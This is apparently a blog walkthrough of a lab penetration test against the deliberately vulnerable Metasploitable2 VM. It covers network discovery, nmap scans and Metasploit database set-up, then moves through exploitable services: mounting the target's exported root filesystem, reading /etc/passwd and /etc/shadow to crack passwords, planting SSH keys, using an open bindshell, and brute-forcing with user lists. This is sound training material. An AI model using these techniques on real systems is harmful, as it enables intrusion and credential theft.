Metasploitable2 Walkthrough


For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2. I employ the following penetration testing phases: reconnaisance, threat modelling and vulnerability identification, and exploitation. Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases.

Set-up

This metasploitable walk-through is performed in a virtual lab environment. Two virtual machines (VMs) are used. The first is a Kali VM and the second is the Metasploitable2 VM. Both VMs have their network interfaces connected to an internal Virtualbox network called vlabnet. There is a DHCP server on the virtual lab network to dynamically allocate IP addresses to hosts.

The following command may be used to setup the DHCP server. VBoxManage dhcpserver add --netname vlabnet --ip 10.10.10.1 --netmask 255.255.255.0 --lowerip 10.10.10.100 --upperip 10.10.10.149 --enable

To verify that the DHCP server is available for the internal network, run VBoxManage.exe list dhcpservers, which should list the DHCP servers available for the respective networks.

So the walk-through is just me pretending to apply some arbitraty penetration testing approaches to the Metasploitable2 VM.

Also to make it easier to copy and mast between the Kali VM and the host machine to run Internet searched, it may be useful to install Virtualbox Guest Additions and share the clipboard.

apt-get autoremove --purge
apt-get update
apt-get dist-upgrade
reboot
apt-get update
apt-get install -y virtualbox-guest-x11
reboot

Preparation

First, attempt to identify the target. We use the netdiscover utility to identify the hosts on the network. Since the eth1 interface on the Kali VM is connected to the vlannet, and we know that the subnet for that interface is 10.10.10.0/24, we can run the following command

[email protected]:~# netdiscover -i eth1 -r 10.10.10.0/24 -P
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 10.10.10.1      08:00:27:ed:13:e7      1      60  PCS Systemtechnik GmbH
 10.10.10.101    00:0c:29:fa:dd:2a      1      60  VMware, Inc.

-- Active scan completed, 2 Hosts found.
[email protected]:~# 

Since we used the -P switch netdiscover produces a parsable output. We can thus grep this to only get IP addresses, e.g. netdiscover -i eth1 -r 10.10.10.0/24 -P | grep -o -E '([0-9]{1,3}\.){3}[0-9]{1,3}'. From the output we can identify two hosts. We know that 10.10.10.1 is the DHCP server, so the other IP must belong to the target, i.e. the Metasploitable2 host. We can further refine the command to exclude the DHCP server, e.g. netdiscover -i eth1 -r 10.10.10.0/24 -P | grep -o -E '([0-9]{1,3}\.){3}[0-9]{1,3}' | grep -v -E '10\.10\.10\.1$'. We can now proceed further to identify services running on that host using a port scanner such as nmap.

The previous command does not have to be processed so much, but it does provide an output that can be used in scripts in future. Next we scan all ports on the target host using the command nmap -Pn -n -sV -vv -p1-65535 --open 10.10.10.101. We get a result listing all open ports and the service versions.

The remainder of the walk-through just works through exploiting each of the service(s) related witht he open ports. To start the Metasploit console issue the msfconsole command. However, we need to conver off some important metasploit features:

Metasploit Database

Although it’s not required, it is pretty useful to store details from metasploit into a database for ease of access and to make results persistent so that session continuity can be maintained. Firstly create a Postgres database and user to be used by the Metasploit framework. In the example below we create a user called msf_user and a database called msf_database.

# systemctl start postgresql
# su postgres
$ createuser --interactive msf_user -P
Enter password for new role: 
Enter it again: 
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
$ createdb --owner=msf_user msf_database
$ exit

Once the database has been created, start the Metasploit console and connect to the database using the details from the previous step. Once connected use the db_status command to verify connectivity to the database

db_connect msf_user:[PASSWORD]@127.0.0.1:5432/msf_database

There a a number of commands which make things a bit easier to manager from within the metasploit console, such as db_nmap for nmap scans and storing results in the database. For a full list of commands issue the help database command to see whats available.

Metasploit Workspaces

Once in the Metasploit msfconsole, Metasploit workspaces allow for logical separation of hosts and related data. This is useful for managing multiple projects and/or engagements. For this example we create a workspace called ‘metasploitable2’ using the workspace -a metasploitable2

Reconaisane

After setting up the database and a separate workspace for the walk-through we work within the msfconsole to performance reconaisance on the target. Firstly we attempt to identify the services running on the target, so we use the db_nmap command. db_nmap -A -p1-65535 -vv 10.10.10.101. The command populates the services versions which may be queried using the services command.

Now we know all the open ports on the target Metasploitable 2 host, as well as the versions of the services running based on the nmap scan, we can proceed to the next phase to identifiy vulnerabilities in the services

I like using exploitdb (https://www.exploit-db.com/) for identifying vulnerabilities, this is available on the command line in Kali using searchsploit. However to get more details on the vulnerabilities and exploits it may be useful to have the full writeups available via the associated papers (see, https://github.com/offensive-security/exploit-database-papers). This can be using using the following command, however you should note that its approximately a 2GB download.

apt-get install -y exploitdb-papers

Threat Modelling and Vulnerability Identification

Vulnerability identification is pretty simple with metasploit. We can search for known exploits based on the service details. For this section, we essentially iterate through the list of active services and search for known exploits or vulnerabilities. For the purposes of prevenity we don’t show each service vulnerability identification.

Could not find anything specific to the version of openssh within Metasploit, so searched for CVEs regarding this. Found https://www.cvedetails.com/vulnerability-list/vendor_id-97/product_id-585/version_id-169731/Openbsd-Openssh-4.7p1.html, but nothing for which I could find an exploit at this stage.

Port 512-514

Unix r-services are common to commercial platforms, including Solaris, HP-UX, and AIX, but fortunately also available on the Metasploitable target machine. Each r-service runs using standard PAM username and password authentication, which is overridden by ~/.rhosts and /etc/hosts.equiv entries defining trusted hosts and usernames. From a Unix-based platform, you use rsh, rlogin, and rexec clients to access the respective r-services running on a remote host. (Refer: http://etutorials.org/Networking/network+security+assessment/Chapter+7.+Assessing+Remote+Maintenance+Services/7.4+R-Services/) Since we have a list of metasploitable names we can try using them to see if we have any misconfigured.

Searched the web for exploits against rshd. Although https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rsh_login was very popular, the scanner did not yield any successful results.

Port 1099

Appears to be Java RMI server. RMI allows instances of Java classes (objects) in one JVM to invoke methods for objects in another JVM. RMI also allows classes to be loaded from remote sources and instantiated within the JVM.

Port 1524

According to nmap this is a bindshell for Metasploit. Could not find any vulnerabilities associated with this, but literature on the web suggests that a simple telnet to the port is sufficient to gain root access on the target.

We identify ProFTP running on the target and listening on port 2121.

Grabbing the banner for the Telnet service we are given out login hints msfadmin and msfadmin. We add these credentials to the Metasploit creds

We can also create a usernames (/root/msfusers.txt) and passwords (/root/msfpasswords.txt) file containing these credentials for testing brute force attempts.

Port 25

We can use metasploit to attempt to enumerate some of the users, and add the identified account to our users file

We have enumerated some of the common unix users available on the host, we can create a list of username to be used for future scans and exploit attempts. We also have the initial password. We maintain the users list in a file called msfusers.txt for future use.

Port 111 et al.

To get the showmount command on kali, you need to run apt-get install nfs-common with elevated privileges. Since the root directory (/) is exported to all hosts (*), we can attempt to mount the file system remotely. mount -t nfs 10.10.10.101:/ /mnt. We essentially have root access to the file system, and can make whatever changes required, including uploading new SSH keys to be able to SSH onto the servers. Since we can read file, we can take a look at sensitive files such as configuration files, including/etc/passwd and /etc/shadow and attempting to cracking the passwords.

Since we have access to the root file system which has been mapped under the tmp share, we can attempt to obtain confidential data, such as the passwd and shadow file dumps to obtain credentials. Another possible, and perhaps a direct exploit may be using:

We keep getting the password prompt for each user we attempt to authenticate as. Apparently this is because we don’t have the rsh-client installed on kali, so I proceeded to install it using apt-get install rsh-client -y (See: http://www.kalitutorials.net/2014/05/metasploitable-2-vulnerability.html).
